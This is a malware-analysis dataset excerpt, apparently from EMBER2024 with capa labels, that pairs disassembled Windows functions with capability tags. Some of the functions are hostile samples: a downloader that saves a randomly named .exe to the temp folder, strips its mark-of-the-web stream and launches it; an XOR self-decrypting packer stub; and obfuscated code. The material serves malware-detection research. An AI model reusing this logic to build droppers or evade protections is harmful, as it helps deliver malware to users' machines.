joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bbf8
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x437ad8
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
mov esi, ecx
call fcn.00433a9c
mov ecx, dword [esp + 0x30]
mov eax, dword [eax + 8]
push 0x2000
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.USER32.dll_LoadImageA]
test eax, eax
jne 0x40bc30
pop esi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0x43992c
push eax
lea ecx, [esp + 8]
mov dword [esp + 0x2c], 0
call fcn.00431a7a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call fcn.0042b4dc
push eax
lea ecx, [esp + 0x10]
call fcn.004317d2
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x30], 1
call fcn.0040b990
lea ecx, [esp + 4]
mov esi, eax
call fcn.00431ad1
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.00431844
mov dword [esp + 4], vtable.CGdiObject.0
lea ecx, [esp + 4]
mov dword [esp + 0x28], 2
call fcn.00431ad1
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x28
ret 4

Function at 0x40ced0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x40cedf
xor eax, eax
pop esi
ret 0xc
mov eax, dword [0x446a24]
test eax, eax
je 0x40ceed
call fcn.0040ce70
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
cmp edx, 8
push ebx
not eax
jb 0x40cfef
push edi
mov edi, edx
shr edi, 3
mov ecx, eax
xor ebx, ebx
mov bl, byte [esi]
and ecx, 0xff
xor ecx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [ecx*4 + 0x478218]
sub edx, 8
xor eax, ebx
inc esi
mov ecx, eax
xor ebx, ebx
mov bl, byte [esi]
and ecx, 0xff
xor ecx, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov ecx, dword [ecx*4 + 0x478218]
shr eax, 8
xor ecx, eax
inc esi
mov eax, ecx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov eax, dword [eax*4 + 0x478218]
shr ecx, 8
xor eax, ecx
inc esi
mov ecx, eax
and ecx, 0xff
xor ecx, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov ecx, dword [ecx*4 + 0x478218]
shr eax, 8
xor ecx, eax
inc esi
mov eax, ecx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov eax, dword [eax*4 + 0x478218]
shr ecx, 8
xor eax, ecx
inc esi
mov ecx, eax
and ecx, 0xff
xor ecx, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov ecx, dword [ecx*4 + 0x478218]
shr eax, 8
xor ecx, eax
inc esi
mov eax, ecx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [esi + 1]
mov eax, dword [eax*4 + 0x478218]
shr ecx, 8
xor eax, ecx
inc esi
mov ecx, eax
and ecx, 0xff
xor ecx, ebx
shr eax, 8
mov ecx, dword [ecx*4 + 0x478218]
xor eax, ecx
inc esi
dec edi
jne 0x40cf07
pop edi
test edx, edx
je 0x40d011
mov ecx, eax
xor ebx, ebx
mov bl, byte [esi]
and ecx, 0xff
xor ecx, ebx
shr eax, 8
mov ecx, dword [ecx*4 + 0x478218]
xor eax, ecx
inc esi
dec edx
jne 0x40cff3
pop ebx
pop esi
not eax
ret 0xc
Function at 0x411ad0
Capabilities:
Delete registry key

Disassembly:
push 0xffffffffffffffff
push 0x437bf0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov al, byte [esp + 3]
push ebx
xor ebx, ebx
push edi
push ebx
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], al
call fcn.00401040
mov cl, byte [esp + 0xb]
mov edi, str.SOFTWAREWebzenMuConnection
mov byte [esp + 0xc], cl
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x38], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], ebx
push ecx
push str.SOFTWAREWebzenMuConnection
lea ecx, [esp + 0x14]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call fcn.004123a0
mov edx, dword [0x43b0f4]
lea eax, [esp + 0xc]
push edx
push ebx
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x44], 1
mov dword [esp + 0x28], reloc.OLEAUT32.dll_SysReAllocString
call fcn.004121a0
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x411b7c
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x411b73
cmp al, 0xff
je 0x411b73
dec al
mov byte [ecx], al
jmp 0x411b7c
push ecx
call fcn.0042af98
add esp, 4
mov eax, dword [esp + 0x24]
cmp eax, ebx
jne 0x411b89
mov eax, 0x439658
mov ecx, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x411bc9
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x411bc0
cmp al, 0xff
je 0x411bc0
dec al
pop edi
mov byte [ecx], al
pop ebx
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret
push ecx
call fcn.0042af98
add esp, 4
mov ecx, dword [esp + 0x30]
pop edi
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x41ac9a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41acba
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041cb28
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x41acdd
test byte [esp + 8], 2
je 0x41acdd
call fcn.0041cb9b
mov dword [eax], 0xd
call fcn.0041cba4
mov dword [eax], 5
jmp 0x41acb6
xor eax, eax
ret
Function at 0x429ac0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0041aad0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x429b8b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x429b8b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x429b3e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x429b49
or bh, 8
and edi, 0x8000000
je 0x429b64
mov eax, dword [0x47be9c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x429b8b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429f60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x429f8b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x429faf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x429fca
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x42d3de
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x42d420
call fcn.00433a9c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x42d420
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42d417
xor eax, eax
jmp 0x42d428
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0042d42e
pop edi
pop esi
pop ebx
ret 4

Function at 0x42fe71
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x42fea1
push edi
call ebx
push eax
call fcn.0042f807
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
je 0x42fecb
test byte [ebp - 4], 1
je 0x42fecb
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x42fecb
push edi
call ebx
push eax
call fcn.0042f807
cmp dword [esi + 4], edi
lea eax, [esi + 4]
je 0x42ff71
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.0042fdbe
cmp dword [esi + 8], edi
lea eax, [esi + 8]
pop ecx
pop ecx
je 0x42fefd
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.0042fdbe
pop ecx
lea eax, [ebp - 0x14]
pop ecx
mov dword [ebp - 8], eax
cmp dword [esi], edi
je 0x42ff13
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.0042fdbe
pop ecx
lea eax, [ebp - 0x1c]
pop ecx
mov dword [ebp - 0xc], eax
push edi
push 0x80
push 3
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x42ff3d
push 0
call ebx
push eax
call fcn.0042f807
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x42ff5b
push eax
call ebx
push eax
call fcn.0042f807
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x42ff6f
push eax
call ebx
push eax
call fcn.0042f807
xor edi, edi
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
pop esi
je 0x42ff98
test byte [ebp - 4], 1
jne 0x42ff98
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x42ff98
push edi
call ebx
push eax
call fcn.0042f807
pop edi
pop ebx
leave
ret 8
Function at 0x432f60
Capabilities:
Create http request

Disassembly:
mov eax, 0x438080
call fcn.0041b850
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x432f98
call fcn.00433a9c
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x432fbd
push eax
push dword [esi + 4]
call fcn.004330d6
jmp 0x432fc9
push esi
push eax
mov ecx, 0x47a320
call fcn.00432fda
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x434540
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x43456e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43458c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004344a6
jmp 0x43458c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43458c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004344a6
test edi, edi
mov eax, edi
jne 0x434576
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x401071
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010a8
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x4010a6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4010a8
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4010b0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push 0x402144
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s_afaefefaeff.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401103
xor al, al
jmp 0x40113d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40113b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x401150
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x944
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov byte [ebp - 0x411], 0
push 0x104
lea eax, [ebp - 0x830]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR90.dll_strlen
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x410]
push eax
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x830]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_127.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 0
je 0x401323
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x944]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
je 0x401316
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xffffffff
je 0x401309
lea ecx, [ebp - 0x940]
push ecx
push 0x103
lea edx, [ebp - 0x938]
push edx
mov eax, dword [ebp - 0x624]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4012c4
cmp dword [ebp - 0x940], 0
je 0x4012c4
push 0
lea ecx, [ebp - 0x93c]
push ecx
mov edx, dword [ebp - 0x940]
push edx
lea eax, [ebp - 0x938]
push eax
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401271
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x620]
push eax
push str._s:Zone.Identifier
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x620]
push eax
call section..text
add esp, 4
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x624]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x944]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401340
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov dword [ebp - 0x118], 0
push 0x110
push 0
lea eax, [ebp - 0x114]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x118], 0x114
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x401494
push str.RtlGetVersion
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x401494
lea edx, [ebp - 0x118]
push edx
call dword [ebp - 0x120]
test eax, eax
jne 0x401494
cmp dword [ebp - 0x114], 0xa
jne 0x401434
cmp dword [ebp - 0x110], 0
jne 0x401434
mov dword [ebp - 0x1c0], 0
push 0x98
push 0
lea eax, [ebp - 0x1bc]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x1c0], 0x9c
lea ecx, [ebp - 0x1c0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x401434
movzx edx, byte [ebp - 0x126]
cmp edx, 3
je 0x401430
movzx eax, byte [ebp - 0x126]
cmp eax, 2
jne 0x401434
mov al, 1
jmp 0x401496
cmp dword [ebp - 0x114], 6
jb 0x401494
mov dword [ebp - 0x260], 0
push 0x98
push 0
lea ecx, [ebp - 0x25c]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x260], 0x9c
lea edx, [ebp - 0x260]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x401494
movzx eax, byte [ebp - 0x1c6]
cmp eax, 3
je 0x401490
movzx ecx, byte [ebp - 0x1c6]
cmp ecx, 2
jne 0x401494
mov al, 1
jmp 0x401496
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x1007a58
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
test edx, edx
jbe 0x1007a87
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
movzx si, byte [eax + 1]
mov di, word [eax]
shl di, 8
xor si, di
mov word [ecx], si
inc ecx
inc ecx
inc eax
inc eax
dec edx
jne 0x1007a6c
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x4a3f19da
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x12017985
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x43ccb0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
jmp 0x43ce6d
mov dword [eax + 0xc], 0xbb67ae85
je 0x43ce14
jne 0x43ce14
mov dword [0x100ce6a8], eax
push 0xa450f8
lea ecx, [edx + eax + 3]
mov edx, dword [esi + 0x2010]
mov dword [0x42bf30], esi
mov edx, dword [0xdf2540]
cmp esi, dword [0x411e80]
lea eax, [esi + ecx*8]
push 0x114c056c
lea ebx, [eax + ecx*8 + 0x20]
push 0xd865f0
mov eax, 0x105393fc
mov eax, 0x10084a28
push 0x11541460
mov dword [0xe443e8], eax
cmp dword [0x43684c], esi
adc dword [edi - 0x44eecb8c], esp
push 0x697c0e8c
mov dword [0x438e08], esi
cmp ch, bl
and ah, bl
bound edx, qword [eax + 0x37]
popfd
xchg byte [ecx], ch
sbb edi, ebp
ret
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
push 0x43ccfa
ret
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x6a09e667
jmp 0x43cd4b